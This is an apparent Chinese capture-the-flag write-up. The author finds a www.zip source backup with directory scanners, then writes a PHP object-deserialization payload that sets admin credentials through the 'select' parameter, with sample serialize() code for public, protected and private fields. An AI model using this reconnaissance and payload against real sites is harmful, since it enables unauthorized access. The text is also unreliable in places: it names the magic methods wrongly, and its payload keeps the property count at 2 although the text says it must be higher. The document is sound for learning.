一进去 我一看
很强的前端页面 可惜是老外做的
已经提示了 存在网站备份文件 然后我就开始找了
.git .svn .DS_store .hg 都不存在泄露
找 .index.php.swp index.php.bak 也不存在
不找了 开始 目录扫描 dirsearch
扫了 没找到
换个 用 dirmap
找到了
www.zip 很敏感 一看就知道是备份
访问后下载
可以看到 所有源码
尝试提交 失败 因为这是个假的flag
查看网页 源码
发现 包含 class.php
再看 class.php
存在2个敏感函数 _wake() 和 _destruct()
_wake()函数意味着我们要构造的变量数大于原来的变量
_destruct()函数相当于 给了我们构造要满足的条件
这里 需要满足 username=admin password=100
还需知道的致死点为 :
public 权限变量 构造 序列化 可 直接 s:8:"username";s:5:"admin" 这样
而 protected 权限变量 需要 s:11:"%00*%00username";s:5:"admin";
private 权限变量 需要 s:14:"%00Name%00username";s:5:"admin";
一般 自己多用 serialize函数 就能了解 序列化字符串 是怎么构造的
构造可以分为 php 脚本自动构造 和手工构造
这里 我直接手工 不是很难的 一般都是手工
payload: O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
注意 index.php 里面写了用 select进行传参
所以 index.php?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
实验
O 为类的对象 一般表示类名
这里为Name
构造的变量数只要大于2就好 因为你之前构造好的 变量就是 2 分别为username 和 password 这里大于二主要是为了 绕 _wake()
测试结果:
protected修饰变量,运行后回显代码内注释内容
-
-
class Name{
-
protected $username = 'nonono';看这两行
-
protected $password = 'yesyes';
-
-
public function __construct($username,$password){
-
$this->username = $username;
-
$this->password = $password;
-
}
-
}
-
-
$a = new Name('admin',100);
-
$b=serialize($a);
-
echo $b;
-
//看这看这看这看这!!!!!!!!!
-
//运行会输出 O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}
-
public修饰变量,运行后回显代码内注释内容
-
-
class Name{
-
public $username = 'nonono';
-
public $password = 'yesyes';
-
-
public function __construct($username,$password){
-
$this->username = $username;
-
$this->password = $password;
-
}
-
}
-
-
$a = new Name('admin',100);
-
$b=serialize($a);
-
echo $b;
-
//O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
-
private修饰变量,运行后回显代码内注释内容
-
-
class Name{
-
private $username = 'nonono';
-
private $password = 'yesyes';
-
-
public function __construct($username,$password){
-
$this->username = $username;
-
$this->password = $password;
-
}
-
}
-
-
$a = new Name('admin',100);
-
$b=serialize($a);
-
echo $b;
-
//O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
-
序列化的字符串 以 空白隔开 反序列化可用%00代替 或者 \0
这里 \0有点问题
over-------------------+